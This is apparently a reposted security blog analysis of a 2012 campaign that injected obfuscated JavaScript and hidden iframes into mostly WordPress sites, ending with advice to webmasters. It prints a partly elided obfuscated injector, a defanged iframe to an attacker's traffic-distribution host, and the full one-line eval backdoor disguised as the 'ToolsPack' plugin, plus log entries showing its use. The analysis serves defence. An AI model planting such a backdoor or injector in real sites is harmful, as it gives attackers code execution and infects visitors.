You Need to Pay For This Crypt. Trial Version of Malware? - BestCyberNews: Online News Presenter in the present world

BestCyberNews: Online News Presenter in the present world

Start knowing

Breaking

You Need to Pay For This Crypt. Trial Version of Malware?


According to the Betteridge’s Law of Headlines Any headline which ends in a question mark can be answered by the word ‘no’“. Nonetheless, I use this type of a headline for this post because this was the question I asked myself when I came across the following attack.

A few days ago I began to notice many websites where Google reported “assexyas .com” as a source of the infection (at this point Google reports 6148 infected sites). They all contained quite a prevalent type of a malicious script (such scripts have been in use for few a few months)
if(window.document)try{location(1 2);} catch(qqq){zz='eva l'; ss=[]; aa=[]+0;aaa=0+[]; if(aa.indexOf(aaa)===0){f='fro'+'m'+'C'+'h'+'ar';f+='Code';} ee='e...skipped...5a3.5a3.5a61.5".split("a");for(i=0;-n.length<-i;i++){j=i;ss=ss+String[f](-h*(2-1+1*n[j]));} if(1)q =ss; if(zz)e (q);
that injected an invisible iframe
<ifr ame src='hxxp://tds22 .assexyas .com/stds/go.php?sid=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></ifra me>
What was really unusual was the the following text right after the closing </script> tag: “you need to pay for this crypt“. On some sites it was just that. On other sites it could be several consecutive duplicates of the phrase: “you need to pay for this cryptyou need to pay for this cryptyou need to pay for this cryptyou need to pay for this crypt

How can you explain this message?

My guess is hackers used a trial version of a JavaScript encryption software to generate their obfuscated malicious scripts. When the trial period came to an end, the encryption software began to add the “you need to pay for this crypt” message after the generated scripts. Since the attackers use automated tools to generate scripts and infect websites, they simply didn’t notice that the injected piece of code contained a little extra that was actually visible on web pages (since it was outside of the <script> block). That’s why we can see the message right after the end of the malicious scripts.
So what about the duplicated messages? It can be easily explained. This attack updates the injected scripts every day. This helps prevent easy detection and automated removal. The iframe scr also changes every day to avoid blacklisting (e.g. today they use tds13 .findhere .org). The script that updates the injected code scans for the <script>…</script> block with a known content and replaces it with a new version of the malicious code. So the previous “you need to pay for this crypt” message remains intact and the new copy of the injected code contains the same nag message, which results in: “…</scripts>you need to pay for this cryptyou need to pay for this crypt“. And with every update this message becomes longer and longer.
A little variation of this hypothesis is it was a trial version of a whole exploitation kit rather than just of a JavaScript encryption module.
Is this plausible? Any other explanations? Let me know what you think about it.

Prevalence

Google reports 6148 infected sites. In my experience the real number of infected sites should be bigger.
At the same time, the “you need to pay for this crypt” provides us with an alternative way to estimate the prevalence of the infection. The ["you need to pay for this crypt"] Google search returns 74,800 results (not all of them are infected pages though) and the more specific ["you need to pay for this cryptyou need to pay"] search returns 34,700 results.

Nag message is gone

At this moment the injected malicious script no longer contain the nag message. Moreover, this message has disappeared from the compromised sites. So it looks the attackers:
  1. noticed the problem
  2. got rid of the nag message (either paid for the software or hacked it)
  3. updated their injection scripts to remove remnants of the nag messages when they updated the malicious code.

Mostly WordPress

I checked many infected sites and most of them were WordPress blogs. And when the sites were not WordPress blogs, I suspect that they shared the same hosting account with WordPress sites — it’s enough to have one compromised site to infect all other sites under the same account.
The malicious code is injected at the very top of the index.php files in site root directories and sometimes in the first level of subdirectories (e.g. wp-content and wp-admin). This affects all sites under the same account.

ToolsPack

On WordPress blogs the typical name of the doorway file is ToolsPack.php. It pretends to be a WordPress plugin and can be usually located in the wp-content/plugins/ToolsPack/ directory. Here’s the content of the file:
<?php
/*
Plugin Name: ToolsPack
Description: Supercharge your WordPress site with powerful features previously only available to WordPress.com users. core release. Keep the plugin updated!
Version: 1.2
Author: Mark Stain
Author URI: http://checkWPTools.com/
*/
$_REQUEST[e] ? eVAl( base64_decode( $_REQUEST[e] ) ) : exit;
?>
In the latest versions I usually see a more simple code:
<?php
$_REQUEST[e] ? eVAl( base64_decode( $_REQUEST[e] ) ) : exit;
?>
As you can see, this “plugin” copies description of a legitimate and popular JetPack plugin, but provides only one line of code, which seems to be too little to supercharge WP with powerful features. Actually, this single line of code is indeed very powerfull as it allows the attackers to execute whatever PHP code they pass in the “e” parameter of requests to this file — typical backdoor.
Here are some real world log entries that show how this backdoor is used to reinfect sites:
83.69.224.227 - - [06/Mar/2012:03:17:41 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)"
83.69.224.227 - - [06/Mar/2012:06:17:41 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)"
83.69.224.227 - - [06/Mar/2012:08:21:50 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)"
83.69.224.227 - - [06/Mar/2012:09:17:41 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)"
83.69.224.227 - - [06/Mar/2012:10:18:45 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)"
BTW, checkWPTools .com is not even registered at the moment.
On some sites, I found the whole ToolsPack “plugin” archive in /wp-content/uploads/ToolsPack.zip. I also found the same backdoor in a file named wpupload.php.

To Webmasters

It’s not yet clear how the backdoor was uploaded to those sites in the first place, but log analysis reveals many ongoing attempts to exploit vulnerabilities in TimThumb.php and 1-flash-gallery. So make sure to upgrade all themes and plugins that use the TimThumb library (or update the timthumb.php/thumb.php files yourself – you can find the latest version here)
I also highly recommend to scan your local computers for malware (after all, most likely you opened infected web pages) and change passwords.
Also make sure your browser is up-to-date:

No comments:

Post a Comment